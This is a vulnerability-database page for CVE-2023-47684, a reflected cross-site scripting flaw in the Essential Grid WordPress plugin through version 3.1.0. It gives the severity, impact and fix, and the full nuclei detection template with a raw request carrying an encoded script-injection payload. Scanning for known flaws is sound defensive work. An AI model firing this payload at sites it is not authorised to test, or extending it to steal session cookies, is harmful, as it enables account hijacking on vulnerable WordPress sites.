HexBrain

Browse / CVEs / CVE-2023-47684

CVE-2023-47684· themepunch / essential grid· CWE-79

Essential Grid <= 3.1.0 - Cross-Site Scripting

mediumseverity
6.1CVSS score
0.8%likelihood of exploitation, next 30 days
58%of all CVEs are less likely
Readycheck to confirm it

Unauthenticated Reflected Cross-Site Scripting (XSS) vulnerability in ThemePunch OHG Essential Grid plugin <= 3.1.0 versions.

Impact

Unauthenticated attackers can inject malicious JavaScript via reflected XSS, potentially stealing user session cookies or performing actions on behalf of users.

Fix

Update Essential Grid plugin to version 3.1.1 or later.

How to confirm it

Send: GET /wp-admin/admin-ajax.php?action=Essential_Grid_Front_request_ajax&client_action=load_post_content&postid=1&settings={%22lbMax%22:%22\%22%3E%3Cscript%3Ealer…
Positive when: contains "<script>alert(document.domain);</script>" and "lightbox" AND contains in content_type "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2023-47684 -u <target>

The full check
id: CVE-2023-47684

info:
  name: Essential Grid <= 3.1.0 - Cross-Site Scripting
  author: 0xpugal
  severity: medium
  description: |
    Unauthenticated Reflected Cross-Site Scripting (XSS) vulnerability in ThemePunch OHG Essential Grid plugin <= 3.1.0 versions.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript via reflected XSS, potentially stealing user session cookies or performing actions on behalf of users.
  remediation: |
    Update Essential Grid plugin to version 3.1.1 or later.
  reference:
    - https://patchstack.com/database/vulnerability/essential-grid/wordpress-essential-grid-plugin-3-1-0-reflected-cross-site-scripting-xss-vulnerability?_s_id=cve
    - https://nvd.nist.gov/vuln/detail/CVE-2023-47684
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-47684
    cwe-id: CWE-79
    epss-score: 0.00838
    epss-percentile: 0.58095
    cpe: cpe:2.3:a:themepunch:essential_grid:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: themepunch
    product: essential_grid
    framework: wordpress
    publicwww-query: "essential-grid-plugin"
  tags: cve,cve2023,wordpress,wp,xss,wp-theme,essential-grid,themepunch,vuln

http:
  - raw:
      - |
        GET /wp-admin/admin-ajax.php?action=Essential_Grid_Front_request_ajax&client_action=load_post_content&postid=1&settings={%22lbMax%22:%22\%22%3E%3Cscript%3Ealert(document.domain);%3C/script%3E%22} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<script>alert(document.domain);</script>"
          - "lightbox"
        condition: and

      - type: word
        part: content_type
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from